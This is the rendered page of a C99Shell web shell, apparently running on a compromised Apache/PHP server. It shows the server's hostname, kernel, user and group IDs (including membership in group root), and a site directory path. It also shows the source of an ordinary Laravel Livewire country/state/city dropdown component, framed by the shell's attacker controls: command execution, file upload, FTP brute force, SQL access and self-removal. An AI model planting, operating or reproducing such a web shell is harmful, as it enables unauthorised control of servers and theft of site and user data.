!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Livewire/   drwxr-xr-x
Free 28.38 GB of 117.98 GB (24.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CountryStateCity.php (4.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Livewire;

use 
App\Models\City;
use 
App\Models\SearchCountry;
use 
App\Models\State;
use 
Livewire\Component;

class 
CountryStateCity extends Component
{
    public 
$countries = [];

    public 
$states = [];

    public 
$cities = [];

    public 
$selectedCountryId;

    public 
$selectedStateId;

    public 
$selectedCityId;

    protected 
$listeners = [
        
'getStateByCountryId' => 'getStateByCountryId',
        
'getCityByStateId' => 'getCityByStateId',
    ];

    public function 
hydrate()
    {
        
$this->dispatchBrowserEvent('render-select2');
    }

    public function 
render()
    {
        
// If the country changes, reset the selected state unless a new state is selected
        
if (! $this->selectedStateId || ! $this->isStateSelected()) {
            
$this->selectedStateId null;
        }
        
$this->countries SearchCountry::select('id''name')
            ->
get()
            ->
toArray();

        
$selectedCountry SearchCountry::where('name'$this->selectedCountryId)->first();
        if (
$selectedCountry) {
            
$countryId $selectedCountry->id;
            
$this->states State::select('id''name''country_id')
                ->
where('country_id'$countryId)
                ->
get()
                ->
toArray();
        } else {
            
// Handle the case where the selected city was not found
            
$this->states = [];
        }

        
$selectedState State::where('name'$this->selectedStateId)->first();

        if (
$selectedState) {
            
$stateId = ($this->selectedStateId == null) ? null $selectedState->id;

            
$this->cities City::select('id''name''state_id')
                ->
where('state_id'$stateId)
                ->
get()
                ->
toArray();
        } else {
            
$this->cities = [];
        }

        return 
view('livewire.country-state-city');
    }

    protected function 
isStateSelected()
    {
        
// Check if a state is currently selected
        
return $this->selectedStateId !== null;
    }

    public function 
getStateByCountryId()
    {
        
$selectedCity SearchCountry::where('name'$this->selectedCountryId)->first();

        if (
$selectedCity) {
            
$countryId $selectedCity->id;
            
$this->states State::select('id''name''country_id')
                ->
where('country_id'$countryId)
                ->
get()
                ->
toArray();

        } else {
            
// Handle the case where the selected city was not found
            
$this->states = [];
        }
    }

    public function 
getCityByStateId()
    {
        
// Assuming you have a Zone model with a 'country_id' attribute
        
$selectedState State::where('name'$this->selectedStateId)->first();

        if (
$selectedState) {
            
$stateId $selectedState->id;

            
$this->cities City::select('id''name''state_id''long''lat')
                ->
where('state_id'$stateId)
                ->
get()
                ->
toArray();
        } else {
            
$this->cities = [];
        }
    }

    public function 
mount()
    {
        
$this->selectedCountryId session('selectedCountryId'null);
        
$this->selectedStateId session('selectedStateId'null);
        
$this->selectedCityId session('selectedCityId'null);
        
session([
            
'selectedCountryLong' => null,
            
'selectedCountryLat' => null,
            
'selectedStateLong' => null,
            
'selectedStateLat' => null,
            
'selectedCityLong' => null,
            
'selectedCityLat' => null,
        ]);
    }

    public function 
updatedselectedCountryId($value)
    {
        
session(['selectedCountryId' => $value]);
        
// Update session values for 'long' and 'lat' based on the selected country
        
$selectedCountry SearchCountry::where('name'$value)->first();
        if (
$selectedCountry) {
            
session(['selectedCountryLong' => $selectedCountry->long]);
            
session(['selectedCountryLat' => $selectedCountry->lat]);
        }
    }

    public function 
updatedselectedStateId($value)
    {
        
session(['selectedStateId' => $value]);
        
// Update session values for 'long' and 'lat' based on the selected state
        
$selectedState State::where('name'$value)->first();
        if (
$selectedState) {
            
session(['selectedStateLong' => $selectedState->long]);
            
session(['selectedStateLat' => $selectedState->lat]);
        }
    }

    public function 
updatedselectedCityId($value)
    {
        
session(['selectedCityId' => $value]);
        
// Update session values for 'long' and 'lat' based on the selected city
        
$selectedCity City::where('name'$value)->first();
        if (
$selectedCity) {
            
session(['selectedCityLong' => $selectedCity->long]);
            
session(['selectedCityLat' => $selectedCity->lat]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--